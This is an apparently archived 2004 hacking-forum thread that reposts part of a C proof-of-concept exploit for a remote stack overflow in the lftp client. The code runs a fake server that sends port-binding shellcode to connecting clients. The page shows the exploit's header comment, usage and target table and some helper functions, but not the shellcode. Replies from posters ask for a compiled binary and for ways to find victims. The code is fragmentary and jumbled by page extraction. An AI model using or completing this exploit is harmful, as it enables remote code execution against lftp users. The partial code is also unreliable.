/* * lftp remote stack-based overflow exploit by Li0n7@voila.fr * * Vulnerability discovered by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se> * * Lftp versions later than 2.6.10 are prone to a remotly exploitable stack-based * overflow in try_netscape_proxy() and try_squid_eplf( (src/HttpDir.cc). This * bad coded proof-of-concept demonstrates the exploitation by exploiting the * vulnerable function try_netscape_proxy() (HttpDir.cc:358) and it needs more targets * to be efficient. Please note that this vulnerability is really hard to exploit * since lots of parameters come into play and are different from a platform to another, * for we have to overwrite some variables and registers before overwriting eip. * With some time and lot of patience, you should find your own parameters by using * GDB. Params to edit are marked with a '!' in the POC code. Moreover, I have edited * Bighawk's port binding shellcode not to contain any white character such as \r,\t,\v, * \f,\n or \20 because we are exploiting a sscanf function. * * usage: ./lftp-exp [-f <path>][-p <port>][-r <ret>][-t <target>] * -f <path>: create <path>index.html * -p <port>: run a fake lftp server on port <port> (default: 80) * -r <ret>: return address you would like to use * -t <target>: choose the target among the platforms available * Platforms supported are: * num: 0 - slack 9.0 - 0xbffff770 * * For instance: ./lftp-exp -p 80 -t 0 * ./lftp-exp -f / -t 0 * * A poil ! */
fprintf(stdout,"[%s] GET request received.\n",inet_ntoa(s.sin_addr)); fprintf(stdout,"[%s] Remote version of lftp: %s ",inet_ntoa(s.sin_addr),version); check_version(version);
long resolve_host(u_char *host_name) { struct in_addr addr; struct hostent *host_ent;
addr.s_addr = inet_addr(host_name); if (addr.s_addr == -1) { host_ent = gethostbyname(host_name); if (!host_ent) return(0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); }
return(addr.s_addr); }
void die(char *argv) { int i; fprintf(stdout,"\t Remote exploit for lftp < 2.6.10 by Li0n7\n"); fprintf(stdout,"\n usage: %s [-f <path>][-p <port>][-r <ret>][-t <target>]\n",argv); fprintf(stdout," -f <path>: create <path>index.html\n"); fprintf(stdout," -p <port>: run a fake lftp server on port <port> (default: 80)\n"); fprintf(stdout," -r <ret>: return address you would like to use\n"); fprintf(stdout," -t <target>: choose the target among the platforms available\n"); fprintf(stdout," Platforms supported are:\n"); for(i=0; exp_os[i].plat != NULL; i++) fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret); fprintf(stdout,"\n Vulnerability discovered by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se> \n"); fprintf(stdout," Contact me: Li0n7@voila.fr\n\n"); exit(1); }
dozolax01
Jan 14 2004, 02:47 AM
compiled fine but more platforms are needed...does anyone know if lftp is a popular ftp server?
m0n
Jan 14 2004, 03:49 AM
yeah, I never seen Lftp in action or messed with it before.
redcorp
Jan 14 2004, 06:34 AM
i cant ge tthis too work...maybe i compiled wrong can someone send the .exe or post it?
The Storm
Jan 14 2004, 08:34 AM
how to find a Lftp server? is there a scanner or sth. else for it. i know lftp not. is it good?
gsicht
Jan 14 2004, 02:39 PM
lol why don't you lern coding in c or read the bugtraq at least?
QUOTE
how to find a Lftp server? is there a scanner or sth. else for it. i know lftp not. is it good?
lol!!! lftp is a ftp client for unix. this exploit waits for incoming connections and sends the code to the client. you see, this code isn't useful for you unless you know someone who use lftp
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.